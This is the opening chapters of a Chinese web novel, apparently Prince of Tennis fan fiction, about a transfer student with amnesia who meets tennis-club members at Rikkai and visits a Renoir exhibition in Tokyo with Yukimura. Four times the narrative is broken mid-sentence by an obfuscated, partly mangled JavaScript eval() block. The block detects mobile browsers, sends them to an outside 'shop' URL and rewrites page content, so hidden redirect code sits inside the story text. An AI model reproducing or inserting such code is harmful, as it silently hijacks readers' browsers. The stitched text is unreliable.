《恋爱记事簿:网球部!》 1. 转学生1 春神曲/文 晋江文学城独家发表 2025.12.22 ------------------- 四月的风,吹过神奈川的街道,带着樱花的香气。沿岸公路的空气里,有海的味道,还混合着堤岸的青草气息。 雪野夏站在立海大附属中学的校门前,举起手机,拍了一张庄重校门的照片,随即发给了Line聊天框顶端的那个人。 【雪野夏】:我到了。 消息几乎刚发出就收到了回复。 【对方】:好,我来接你。 雪野夏指尖轻触屏幕。 【雪野夏】:不用麻烦,正好碰到热心同学带路。我自己过来就好。 发送完毕,她收起手机,跟在两位主动为她引路的少年身后,继续往校园走去。 “送到这里就可以了,非常感谢二位。”在教学楼下停住脚步,雪野夏向两位少年微微欠身道谢,随后转身朝教师办公室的方向走去。 这是她转学来立海大的第一天。 来到办公室门口,她刚抬起手准备敲门,门却从内侧被拉开了。 一位戴着黑框眼镜的年轻男教师出现在门口,黑发紫瞳。他左手抱着几本教案,右手握着手机,屏幕还亮着微光。 “是雪野同学吧?”他低头看了看手机,又抬头望向她。 “是,我是雪野夏。” “我正打算去校门口接你。” 他语调没有起伏,神情是典型的冷峻平淡,几乎没什么表情。 “差点忘记自我介绍了——我就是你的班主任,山岸知明。” “山岸老师,您好。”雪野夏躬身行礼,“今后还请多多关照。” “不必这么客气。”他语气稍缓,“雪野先生从前对家父多有照拂,这次能有机会略尽心意,是我的荣幸。” 说完,他嘴角很轻微地向上牵动了一下。大约是他这张冷脸上,最明显的表情变化了。 “走吧,我带你去教室。同学们都在等着新转校生呢。” “是。”雪野夏侧身让出路。 山岸知明领着她穿过樱花飞舞的林荫道,走向教学楼。 “立海大是百年名校,学风严谨但氛围很好。”山岸知明边走边介绍,“你之前是在柏林念书对吧?刚回神奈川,生活上还习惯吗?” “嗯,正在慢慢适应。”雪野夏轻声应道。 她的目光掠过校园。 参天的古树,古朴的教学楼,远处隐约可见的网球场。一切都陌生又新鲜。 四年前,因父母工作调动,她随家搬去了德国柏林——这件事她是听母亲说的。 至于当时的细节,她没有一点印象。她只记得自己上一秒还在小学五年级的教室里上课,下一秒睁开眼,入目的医院的床单和天花板。 爸妈说她在放学的十字路口发生了车祸,本以为她再也醒不来了。 诊断结果是逆行性遗忘。 医生说出这个词时,妈妈紧紧抱住了她,声音带着压抑的颤意,整个人也在发抖:“没事的,小夏。妈妈在这里。” 她在病历卡上看到自己的名字:雪野夏。 她从小体质不好,畏惧寒冷,所以爸妈给她起了这个名字——在一片无垠的雪原上呼唤盛夏。 虽说是失忆,她并不觉得自己忘了什么,或是有什么不正常。就比如,她还能清晰记得自己名字的含义。 直到她看到日期栏的年份,她才察觉到有哪里不对。 明明自己还是个五年级的小学生,纸上的时间却是一年半以后,有18个月的时间,从她的记忆里消失了。 就仿佛是一本完整的书,有人突然从中撕掉了十八页,留下空白的断口,她无法知道,那18页里究竟写了什么内容。 不过她也没有过多在意。就像她的名字一样,只当是这段记忆暂时被雪域封存了,总会有冰雪消融,盛夏来临的一天。 之后的日子也没有什么变化。 住院观察一周,各项指标正常,然后出院,按部就班地在柏林继续学业。 失忆这件事,好像也没怎么影响雪野夏学习或生活。就是偶尔——走过某条街、看到某个画面、或者突然听到一段熟悉的旋律时,心里会咯噔一下,有种“好像在哪见过”的恍惚感。 在柏林的生活,说不上好,也算不差。非要说的话,就像是被一层透明的玻璃罩子隔开,看得见热闹,触不到温度。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001308|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 上了高中以后,这种“异邦人”的感觉越来越明显。加上住在神奈川乡下的祖母频频在电话里说想念她,还总拍院子里、家门口的照片发给她看,勾起她的乡愁。 雪野夏想了想,最后干脆跟爸妈商量:要不我回神奈川念书吧,也能多陪陪奶奶。 本以为爸妈不会同意,没想到他们彼此对视,沉默片刻后,同意了。 爸妈不放心她回神奈川后一个人住,就辗转托了一位老朋友帮忙照看。顺水推舟,干脆连转学也托对方安排了——老朋友的儿子任教的高中。 给她租的公寓,也特意选在了那位朋友的儿子的隔壁。用爸妈的话说,“远亲不如近邻”,彼此有个照应,他们也安心。 不过,雪野夏和那位父亲朋友的儿子,即便彼此做了邻居、交换了Line,也相互默契地保持着距离感。 就比如,开学第一天,雪野夏说想自己去学校,对方立马说“好”。 “到了,这是二年A组。”山岸知明推开教室门,“大家,这位是从德国转学回来的雪野夏同学,从今天开始加入我们班级。大家要好好相处。” 几十道目光齐刷刷投来,带着好奇与打量。 雪野夏微微欠身:“我是雪野夏,请多指教。” 台下响起稀稀拉拉的掌声。 “雪野同学,你就坐那个靠窗的空位吧。” 顺着山岸老师手指的方向看去——靠窗第五排,阳光照着桌面,典型的转学生专属座位。 她拎着书包走过去,拉开椅子坐下。邻桌的男生正在看书,深紫色的短发,戴着无框眼镜,气质斯文。 察觉到身旁的动静,他抬起头,简单颔首:“柳生比吕士。” “雪野夏。”她报上名字,目光不由地停顿片刻。 “我脸上有什么东西吗?”柳生推了推眼镜。 雪野夏回过神来:“抱歉,只是觉得……”她顿了顿,带着点试探,“我们是不是在哪里见过?” 柳生推眼镜的手指微微一顿,没有回答。 雪野夏意识到自己的唐突,迅速移开视线,“抱歉,是我说了奇怪的话。” 她转头看向窗外。 樱花像雪一样,缓缓飘落。 2. 转学生2 第一节课是国语。 雪野夏翻开课本后,托着腮,视线掠过讲台时,不由地在第二排的一个肤色较深的男生侧脸上顿住。 思绪不知不觉飘远,回到了今早出门时的小插曲—— 为了熟悉新学校的路线,她特意提前出门,最后还是在十字路口迷了路。正当她对着手机地图皱眉时,一个温和的声音从身后传来: “需要帮忙吗?” 她转过身,看到两个穿着立海大制服的男生。问话的那位有着深蓝色的碎发,面容精致柔和,气质温润。旁边那位戴着鸭舌帽,肤色较深,表情严肃,下颌线紧绷。 “我、我好像迷路了……”雪野夏有些不好意思。 鸭舌帽男生打量她一眼:“立海大的新生?” “算、算是吧。”雪野夏点头。 转学生怎么不算新生呢。 “不介意的话,一起走吧?”蓝发少年微微一笑,“我们也去立海大。” “啊,谢谢。” 三人并肩走在清晨的街道上。 雪野夏偷偷打量着身旁的男生——他的侧脸在晨光中格外柔和,肩上背着网球袋,步伐从容。 “我是幸村精市,二年C组。” “真田弦一郎,二年A组。” “雪野夏……今天转学到立海大,也是二年级。” 简单的介绍后,便是沉默。但气氛并不尴尬,偶尔有风轻柔拂过,卷起樱花落在肩头。 在教学楼下分别时,幸村精市回头对她笑了笑:“希望你能喜欢立海大。” 那个笑容,像四月的风一样温和。 - “雪野同学?” 雪野夏猛地回过神,发现全班同学都在看她。讲台上的山岸老师正等待她回答问题。 “对、对不起,”她慌忙站起来,“可以请您再重复一遍问题吗?” 教室里响起低低的笑声。 柳生推了推眼镜,轻声提醒:“老师在问你对这首俳句的理解。” 雪野夏看向黑板,上面写着松尾芭蕉的名句: 古池や蛙飛び込む 水の音 她沉吟片刻,缓缓开口: “古老的池塘,青蛙跃入,水声响起……看似简单的场景,却包含了时间的静止与流动。池塘是永恒的寂静,蛙跃是刹那的生机,水声是两者碰撞的余韵。生命就在这样的静与动之间……” 她的声音很轻,咬字清晰,像是午夜电台的情感主播一样,传到教室每个角落。 山岸老师眼睛一亮:“很好的解读。请坐。” 雪野夏坐下时,余光注意到柳生若有所思地看了她一眼。 - 课间休息时,前座的女生转过身来,笑容灿烂: “你好呀,我是渡边一花!你刚才的回答好厉害,国语一定很擅长吧?” “只是喜欢读书而已。”雪野夏礼貌地回应。 “那我们一定合得来!我是文学部的哦。”渡边凑近一些,压低声音,“放学后要不要一起去部活室看看?大家人都超好的。” 雪野夏犹豫了一下,还是点了点头。 也许,这边会和柏林不一样。 - 午休时间,雪野夏带着便当来到教学楼后的古树下。这是她早上就相中的地方——安静,隐蔽,视野也好。 她刚坐下,就听见树后传来轻微的声响。 探头一看,是个穿着衬衫制服的男生,黑色卷发,正坐在地上绑鞋带。他抬起头,两人四目相对。 “啊,抱歉,我不知道这里有人。”男生有些慌乱地站起来,“我马上离开。” “没关系,”雪野夏摇摇头,“地方很大。” 男生迟疑了一下,还是重新坐下,打开了自己的便当盒。 安静地吃了片刻,男生突然开口:“你是早上在十字路口迷路的那个女生吧?” 雪野夏一愣:“你怎么知道?” “我当时就在你们后面,看到你和部长他们在一起。”男生抓抓头发,“我是切原赤也,一年D组。” “雪野夏,二年A组。” “诶?学姐吗?”切原瞪大眼睛,“完全看不出来!” 雪野夏忍不住笑了。这个学弟,有种单纯的直率。 两人又聊了几句, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001309|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主要是切原在说——网球部的训练多么辛苦,真田副部长多么严厉,幸村部长虽然温柔但有时候更可怕…… “啊!要迟到了!”切原突然跳起来,“抱歉学姐,我还有活动!” 他抱起便当盒就跑,跑出几步又回头挥挥手:“下次再见!” 雪野夏看着他的背影消失在林荫道尽头,嘴角不自觉地扬起。 立海大,感觉真的很不错呢。 - 放学后,雪野夏按照约定来到文学部。 部活室在图书馆旁的一栋小楼里,安静雅致。推开门,一个橙红色头发的女生正伏案写着什么,听见声音抬起头来。 “啊,你就是雪野同学吧?一花跟我提过了。”女生站起身,笑容爽朗,“我是副部长雾岛星罗,二年B组。” “你好,我是雪野夏。”雪野夏微微鞠躬。 “不用这么拘谨啦。”雾岛摆摆手,“我们文学部很自由的,写写文章,看看书,偶尔出出期刊。对了,你对下一期主题有什么想法吗?” “主题是?” “《青春记事》。”雾岛递给她一份企划书,“写写关于青春的故事、感想、诗歌,什么都行。” 雪野夏接过企划书,翻看着。脑海里突然闪过早上的樱花,晨光中的侧脸,还有切原慌张跑远的背影。 “我……可以试试。” “太好了!”雾岛拍拍她的肩,“期待你的作品哦。” - 回家的路上,雪野夏走得很慢。 夕阳把天空染成橘红色,街道两旁的家家户户亮起温暖的灯光。她独自走着,影子在身后拉得很长。 手机响了,是国际的号码。 “喂,妈妈……嗯,第一天很顺利……同学们都很好……不用担心,我会照顾好自己的……” 挂断电话,雪野夏抬头看着天空。 陌生又熟悉的城市,新的学校,新的生活。 她想起少年早上对她说的那句话: “希望你能喜欢立海大。” 风吹过,卷起飘落的樱花。 雪野夏笑了笑,加快了回家的脚步。 3. 偶遇 雪野夏的生物钟极为规律,即便在周六,也会准时将她唤醒。 六点整,晨光刚刚爬上窗帘的边缘。她坐起身,发了会儿呆,然后赤脚走到窗边。 推开窗户,咸湿的海风立刻涌入房间,带着清晨特有的清凉。 这是回到神奈川的第三周,她已经习惯了这样的早晨——安静,空旷,只有潮汐声作伴。 洗漱完毕,雪野夏换上运动服,对着镜子把头发扎成马尾。镜中的少女脸色红润,眼睛也比刚转学回来时明亮了一些。 她对着镜子做了个鬼脸,然后背上运动包出了门。 晨跑是她在柏林养成的习惯。医生说她的体质偏弱,需要适当运动。更重要的是,在清晨无人的街道上奔跑时,她可以暂时忘记自己是异乡人。 六点二十分,街道还很安静。 雪野夏沿着海岸线慢跑,呼吸平稳而有节奏。海鸥在头顶盘旋,远处有渔船的马达声,偶尔也会遇到晨起慢跑的人。 这样宁静的日常,日子仿佛慢了下来。让人觉得很充实,幸福感会不知不觉得满溢出来。 跑到某个路口时,雪野夏看见了一道熟悉的身影。 幸村精市穿着浅灰色的运动服,肩上搭着白色毛巾,正站在自动贩卖机前。 他看起来有些苦恼的样子,似乎遇到了麻烦。 “出什么事了吗?”雪野夏停下脚步,气息有些不稳。 幸村转过身,看见她时眼中闪过一丝惊讶,随即露出他一贯温和的笑容:“雪野同学?好巧。” “机器坏了?” “好像是的。”幸村无奈地摇摇头,“吞了我的钱却没有吐出饮料。” 吞了钱不吐饮料。雪野夏莫名觉得他这个说法好有趣。而且,好熟悉的感觉…… 她挥掉奇怪的既视感,从包里掏出一枚硬币,投进旁边的另一台机器:“试试这个?这台我经常用,应该没问题。” 她按下绿茶按钮,机器发出运转声,然后咚的一声,饮料滚了出来。 雪野夏俯身取出温凉的瓶子,递到他面前:“给。” 幸村愣了一下,“……谢谢。” 他伸手接过时,指尖不经意地碰到她的手。那一瞬间,一种模糊又似曾相识的触感掠过雪野夏脑海。 那种既视感,又来了。 “雪野同学也晨跑?” “嗯。”雪野夏喝了一口自己的水,“幸村君每天都这么早吗?” “网球部有晨训,习惯了早起。”幸村拧开瓶盖,“不过今天休息日,就想随意跑跑。没想到会遇见你。” 两人并肩走在清晨的海岸线。太阳刚刚升起,把两人的影子拉得很长。海风吹过,带着咸味和凉意。 幸村斜眸看身侧的女孩,思绪不知不觉飘回国一那年的秋天。 在巴黎研学的最后一个清晨,为了看日出,他独自慢跑,前往塞纳河畔。晨雾未散,街道空旷,空气冷冽。 跑完步后口干舌燥,他在一台老旧的自动贩卖机前停下,投币,选择,然后机器发出了一声沉闷的“咔嗒”,便再无动静。 钱被吞了,饮料却不见踪影。 他有些无奈地拍了拍机器,虽说没多少钱,但异国他乡的清晨,这种小麻烦还是有点影响心情。 “需要帮忙吗?”一个轻柔的声音从身后传来,说的是日语。 他回头,看见一个亚洲女孩,穿着运动服,扎高马尾,一双漆黑的眼睛在晨雾后,有些迷蒙 “好像被吞币了。”他说。 女孩点点头,从随身小包里拿出一枚硬币,投进了旁边另一台看起来新一些的机器,熟练地按下按钮。饮料滚了出来,是一瓶依云水。 “给,先喝这个吧。”她递给他,笑容很淡,但很友善。“这两台机器是貔貅,经常干这种事。” “貔貅?” “中国的一种神兽,吞金兽,只吞不吐的那种。” 幸村被逗笑了。 “谢谢。”他接过,“你也是来研学的?” “不是。我爸妈休假,带我过来探亲的。”女孩看了看时间,“我得回去了。再见。” “再见。”他看着她小跑着离开的背影,甚至还没来得及问她的名字。 他本以为那只是一个短暂,友好,转眼就会被遗忘的异国小插曲。 没想到,那天清晨,他会在街头再次见到她,还穿着立海大的制服。 …… “转学过来还习惯吗?”幸村收回飘远的思绪,问身边的女孩。 “比想象中好。”雪野夏老实回答,“同学们都很友善。” “那就好。”幸村侧头看了她一眼,“如果遇到什么困难,可以随时找我。毕竟我们是‘迷路之交’。” 雪野夏愣了一下,然后笑了:“你还记得?” “当然。”幸村也笑了,“那天你看地图的样子很认真,像在研究什么重大课题。” “我只是方向感不太好。” “我理解。”幸村说。 他目光掠过她泛起酡红的脸颊,看向波光粼粼的海面,仿佛又看到了塞纳河上的晨光。 “我之前去国外研学时也经常迷路。后来发现,迷路时看到的风景,往往比按图索骥看到的更美。” 雪野夏若有所思地点点头。 他们走到一个岔路口,幸村停下脚步:“我要往这边去了。今天谢谢你的饮料。” “不用谢。”雪野夏摆摆手。 幸村转身离开,走了几步停下。 “对了,雪野同学。”他回头说。 “嗯?” “你跑步的姿势有点问题,膝盖会承受不必要的压力。” “诶?”雪野夏眨眨眼。 幸村走回来,在她面前示范了几个动作,“看,落地时应该用前脚掌,而不是脚跟。” 他姿势像是专业运动员,标准,流畅又轻盈。 雪野夏试着模仿,但总是不得要领,而且越学越僵硬。 “来,”幸村很自然地抬手,虚扶住她的肩侧,“感受重心的转移,不要刻意用力。” 他的手掌很温暖,隔着运动服也能感觉到温度。雪野夏身体微微一僵,耳根不受控制地热了起来。 “我、我自己再试试就好……”她小声说,下意识地往旁边退了半步。 幸村的手停在空中,随即收了回去。 “抱歉,是我冒昧了。” 他的表情并没有什么变化,唇边仍带着那抹惯有的浅笑。只是眼尾垂了垂,似乎稍稍敛了一些。像晴空里飘过一片很薄的云,转瞬又被光照透。 “不, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001310|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不是那个意思,”雪野夏摇头,“……谢谢你教我。” “那,路上小心。” “嗯,再见。” 雪野夏站在原地,看着他转身走向路口。直到他的身影消失在转角,她才缓缓吐出一口气。 肩膀被触碰过的地方,还留着温热的错觉。心口扑通、扑通,跳得又轻又响。 刚才,是不是让他误会了? 这个念头冒出头时,她无意识攥紧了手指。 - 晨跑结束后,雪野夏回家冲澡,简单地吃了早午饭后,抱着平板陷在沙发里看书。 纱帘过滤过的阳光,铺洒在客厅的地毯上。偶尔纱帘被风吹动,暖色的光晕便跟着跳跃。 不知不觉,天光暗淡下来,暖黄转为金红,又逐渐褪成静谧的蓝灰色。 雪野夏看完书的最后一章节,揉了揉有些酸涩的眼睛,看了眼时间,已经是傍晚六点多了。 她披上一件薄外套出门,朝附近的商业街走去。 冰箱里已经空了,得为接下来的一周备好食材。 周末的商业街总是很热闹。主妇们推着购物车,孩子们在人群中穿梭,店铺老板大声吆喝着特价商品。 雪野夏不太适应这种人多的场合,她快速买好需要的东西,便撤离了。 步行回家路上,路过一家美术用品店时,被橱窗里贴着巨幅海报吸引了目光。 “东京都国立西洋美术馆——雷诺阿特展。” 海报上还有一幅画,是雷诺阿的《煎饼磨坊的舞会》。色调温暖,光影流动,仿佛能听见画中的欢笑声。 雪野夏站在橱窗前看了很久。 妈妈和姑姑都是从事美术相关的工作,无论是在柏林,还是在巴黎,她们都喜欢带她去美术馆。 妈妈说,看画能让人安静下来,能看见时光之外的东西。 “雪野同学?” 熟悉的声音从身后传来。雪野夏转过身,看见幸村站在不远处,手里提着画具箱。 “好巧。”她说。 “你也对这个画展感兴趣?”幸村走过来,目光落在海报上,“雷诺阿是我很喜欢的画家。” “我也是。”雪野夏轻声说,“他笔下的光,像是会呼吸。” 幸村有些惊讶地看着她:“很少有同龄人能说出这样的话。” “我妈妈是美术老师。”雪野夏解释,“从小耳濡目染。” “原来如此。”幸村点点头,“那明天要一起去看吗?我正好有票,是父亲的朋友送的,刚好多了一张。” “诶?”雪野夏犹豫了。 去东京看展,意味着要一起搭电车、花一整天的时间……这听起来,怎么都有点超过普通同学的范畴。 幸村像是看出了她的顾虑,笑容温和地补充:“就当是美术爱好者的同行?一个人去看展,总觉得有些冷清。” 他顿了顿,目光里带着真诚的邀请:“而且,能和理解雷诺阿的人一起去看他的画,应该会是不同的体验。” 雪野夏看着他鸢紫色的眼睛,那里面映着傍晚柔和的天光,仿佛还有一点不易察觉的期待。 她心跳莫名漏拍,脸颊微微发热。 “……好。”她轻声说。 于是,第二天清晨,他们在神奈川车站又见面了。 4. 东京 时间尚早,晨光柔和,站台上人不算多。 幸村精市递给她一个纸袋,里面是还温热的稠鱼烧。 “早餐。”他说。 雪野夏眼睛亮了一下。 不禁心想,这个人也未免太贴心了。 她今早的确因为化妆和挑选衣服费了太多时间,导致出门时想吃早餐已经来不及了。 “谢谢。”雪野夏接过来。 “车子还有一会才来,去那边坐会儿吧。”幸村指了指站台的长椅。 两人在长椅上坐下。 雪野夏打开纸袋,散发出甜暖的香气。她小口吃着,余光偶尔瞥向身旁的少年。 他安静地看着站台对面缓缓进站的电车,晨光透过穹顶的玻璃斜洒,在他身上渡上一层淡淡的金边。 “谢谢,很好吃。”雪野夏将吃完的包装纸袋折叠起来,准备等出站后扔进垃圾桶。 幸村转过头,微微一笑:“那就好。” “这家店我很小的时候就有了,味道一直没变。”他又说。 电车进站的广播响起,开往东京的电车平稳地滑入站台。 车厢里很安静,周末清晨的这班车乘客不多。 他们并肩坐下,窗外是逐渐加速流动的风景。幸村从背包里拿出一本关于印象派画家的书,雪野夏则托腮望着窗外,两人之间没有话题聊,但气氛并不尴尬。 东京都国立西洋美术馆是栋庄严的欧式建筑。他们到达时,门口已经排起了不短的队伍。 幸村很自然地走到她外侧,隔开了拥挤的人潮。 展厅内,大理石柱,拱形穹顶,采光极好。阳光透过天窗洒下来,在光洁的地板上投下几何形的光斑。 展厅的人比预想中要多,他们安静地走着,偶尔在一幅画前驻足。 幸村对每幅画都很熟悉,能说出创作背景和技法特点。他的知识储备惊人,从雷诺阿的早期学徒生涯,到印象派的兴起,再到晚期的风格转变,他都能娓娓道来。 雪野夏大部分时间只是安静地听,偶尔回应一两句。 “你知道雷诺阿晚年有关节炎吗?”站在《浴女》前时,雪野夏突然开口。 幸村看向她。 “他的手几乎变形,画笔要绑在手腕上才能作画。”雪野夏轻声说,“但他直到去世前都没有停止画画。他说,痛苦会过去,但美会留下来。” 幸村沉默了片刻:“你很了解他。” “我的祖母是一位插画家,她也有关节炎。”雪野夏的目光落在画上,想起了在乡下的祖母。 “但她还是每天画画。她说,画笔和颜料,是她对抗时间、证明自己还活着的方式。” 展厅里很安静,只有参观者压低了的交谈声和轻微的脚步声。穹顶的阳光缓慢移动,从一幅画移到另一幅画。 “我小时候身体不好,经常住院。”幸村突然说。 “医院的天花板很白,墙壁也很白,一切都是白色的。后来母亲和妹妹来看我,给我带了画册。里面就有雷诺阿的画,那些温暖的颜色,让我觉得病房也没有那么冷了。” 雪野夏看着他。幸村的声音平静,像在讲述一件很遥远的事。他的侧脸在光影中朦胧柔和,睫毛浓密卷翘,像扇子一样,在眼睑投下浅浅的影。 “所以你现在也在画画?”她记得昨天见到他时,他手上提着画具箱。 “嗯,算是爱好。”幸村微笑,“虽然画得不好。” “可以看看吗?” “如果下次有机会的话。”幸村说。 他看了看表,“该去楼上的特别展区了。” 特别展区的人少了许多,展出的都是雷诺阿晚期的作品。色彩温暖明亮,笔触奔放自由,线条简练许多,有种返璞归真的力量。 他们在一幅小尺寸的画前停下。画的是窗边的一只陶瓷花瓶,里面插着几株向日葵,开得恣意蓬勃。 “这幅画……”雪野夏看了很久,才轻声说,“像是很快会凋谢,又像是永远不会凋谢。” “很矛盾的美。”幸村接话。 两人相视一笑。 看完展览出来时,已经是中午。东京的阳光有些灼热,空气里都是热气。 “谢谢你陪我看展。”站在美术馆前的台阶上,幸村说,“一个人看画,固然更容易沉浸,但有人能分享感受,又是不一样的体验。” “我才要谢谢你邀请我。”雪野夏说,“回神奈川后,这还是我第一次出远门。” “那你平时周末都在做什么?” “看书、写作业、打扫卫生、去商业街采购……”雪野夏扳着手指头,越说越觉得自己像是死宅,或是家庭主妇。 “呵……”幸村捂着嘴笑,“那以后我可以多邀请你出门吗?” 雪野夏眨了眨眼睛,或许是他的笑容迎着阳光,太明亮,太耀眼,所以她才鬼使神差地说了“好”。 他们在美术馆附近的一家定食店吃了午饭。准备一起乘车回神奈川时,幸村接了一通电话。 幸村妈妈出差刚好今天回来,听说他在东京,便问儿子要不要去机场接她,幸村当然不会拒绝。 于是,两人在车站前告别。 “路上小心。”幸村说。 “你也是。”雪野夏点头。 她转身走进闸机,下台阶前,忍不住回头看了一眼。 幸村还站在原地,像是在目送她。见她回头,他有些意外,随即朝她挥了挥手。 雪野夏也抬手挥了挥,然后才转身下楼。心口处,有一股暖流充盈着,随着脚步轻轻荡漾。 - 回程的电车上,雪野夏靠着车窗,看着窗外飞逝的风景。手里还拿着美术馆的宣传册,封面是雷诺阿的画。 手机震动,是渡边一花发来的消息: 「夏夏,周一文学部开会。记得来哦!ps:部长买了超好吃的蛋糕!*_<> 雪野夏回了个“好”字,嘴角不自觉地弯起。她把手机放回口袋,重新望向窗外。 电车穿过隧道,光线忽明忽暗。她想起妈妈曾说过的话: “小夏,人生就像一幅画卷。有时候需要站远一点,才能看见全貌;有时候需要凑近一点,才能看清笔触。” 她以前不太懂这句话的意思。 但今天,朦胧间,好像开始懂了。 电车到站,雪野夏随着人流下车。神奈川的海风扑面而来,带着熟悉的咸味。 她抬头看了看天空。 湛蓝,辽阔,有几朵云缓缓移动。 - 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001311|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下午的最后一节课,时钟指针走得格外缓慢。 雪野夏单手托腮,望着窗外那棵古老的樱花树。 花期已过,树上只剩下浓密的绿叶,在午后的阳光下泛着油亮的光泽。偶尔有风穿过,叶子便发出沙沙的声响,像风和树在低声细语。 “雪野同学。” 数学老师的声音把她拉回现实。 “可以请你解一下黑板上的题吗?”老师推了推眼镜,镜片后的眼睛带着审视。 雪野夏看向黑板。那是一道立体几何题,涉及空间向量与平面夹角的综合证明,图形交叠,线条复杂。 教室里很安静,她没想到,自己上课走神又被抓包了。 雪野夏定了定神,走上讲台,拿起一支白色粉笔。 “建立空间直角坐标系,设点A、B、C的坐标分别为……”她一边解题一边讲解,“由向量AB与向量AC的叉乘可求得平面ABC的法向量n1,同理求得平面BCD的法向量n2……” 粉笔在黑板上流畅地移动,在落针可闻的教室里发出有节奏的嗒嗒声。 大约四分钟后,她写下最后一个符号,放下粉笔,拍了拍手上的灰。 “所以,两平面夹角θ的余弦值如上述所示。证明完毕。” 数学老师踱步上前,盯着黑板看了半晌,点点头:“嗯,思路清晰,完全正确。” 下面响起了一片“哇”的赞叹声。 “请回座位吧。” 雪野夏走回座位时,邻座的柳生比吕士稍稍侧过头,镜片后的目光若有所思:“很利落的解法。” “谢谢夸奖。”雪野夏回答。 柳生看了她一眼,没再说话。 下课铃响起时,教室里立刻喧闹起来。 渡边一花从前面转过身,眼睛亮晶晶的:“夏夏,文学部!现在!立刻!马上!冲!” “知道了。”雪野夏开始收拾书包,“你也太激动了吧。” “因为今天有蛋糕啊!”渡边一花拉着她就往外跑,“部长特地从横滨买的,去晚了就被抢光了!” - 文学部在放学后的校园里,像一座安静的孤岛。 雪野夏推开门时,部室里已经坐了好几个人。长桌中央摆着一个精美的大蛋糕盒子,盖子打开着,露出里面诱人的草莓奶油蛋糕。 “雪野同学,你来得正好。”雾岛星罗抬起头,橙红的长发披在肩后,“我们在讨论下一期期刊的排版。” “排版?”雪野夏放下书包。 “嗯,这期的稿件比预期多,版面不够用。”雾岛把一叠稿纸推到她面前,“这些都是投稿,需要筛选。” 雪野夏粗略翻看了一下——有诗歌,有散文,有短篇小说,质量参差不齐。最上面的一篇是情书,字迹娟秀但内容稚嫩,满篇都是“我喜欢你就像喜欢春天的樱花”这样的句子。 “这篇不行。”雪野夏把情书抽出来,“太直白,缺乏文学性。” 雾岛挑眉:“很严格啊。” “既然是文学部的期刊,至少要有文学价值。”雪野夏平静地说,“否则和普通的班报有什么区别?” 坐在角落里的一个男生抬起头。他有一头栗色短发,眼睛闭着,但雪野夏能感觉到他在“看”自己。 5. 柳莲二 由于独居的关系,雪野夏放学后都是早早回家,基本不参加部活。 因此,即便入部快一个月了,她对社团里的人大多都还叫不出名字。 “你就是雪野夏?”男生开口,声音平淡无波。 “是的。” “我是柳莲二,二年F组。” “……你好。” “你的入学成绩很优秀,国语98分,数学100分,英语95分。”柳莲二像在背诵资料,“上个月刚从柏林回到神奈川。” 雪野夏:Σ( ° △°|||)︴ 她感觉自己的脑子还没有反应过来,就猝不及防的被人扒光衣服看了个精光。 “柳,适可而止。”雾岛星罗皱眉,“雪野同学是我们的部员,不是你的研究对象。” “抱歉。”柳莲二点点头。 他手里拿着一个笔记本,正在写着什么。 雪野夏视线在他的笔记本上停留了几秒,不禁好奇,他闭着眼睛,能看清和书写吗? “别理他。”渡边一花凑过来小声说,“柳君就这样,数据狂人一个,连路边的阿猫阿狗都要被他多看两眼。不过他这个人吧,倒也没有恶意。” “嗯,我明白。”雪野夏说。 她也喜欢用文字记录所思所想所感,但这并不代表她喜欢成为别人笔记里的一行记录。 筛选工作进行得很顺利。雪野夏的判断又快又准,很快就分出了可用稿和待修改稿。雾岛星罗简单复核了一遍,眼中闪过赞赏。 “你很有眼光。”雾岛说,“以后可以负责初审。” “我只是按照标准判断。” “标准也是需要眼光才能掌握的。”雾岛切了一块蛋糕递给她,“尝尝,这家店很有名。” 蛋糕确实好吃。奶油轻盈不腻,草莓新鲜多汁,蛋糕体湿润绵密。 雪野夏小口吃着,突然想起妈妈以前也常给她买蛋糕。妈妈总说,甜食能让人心情变好。 吃完蛋糕,雾岛说接下来的工作安排,话还没说完,就被敲门声打断了。 门被推开,真田弦一郎站在门口,一如既往地严肃脸。 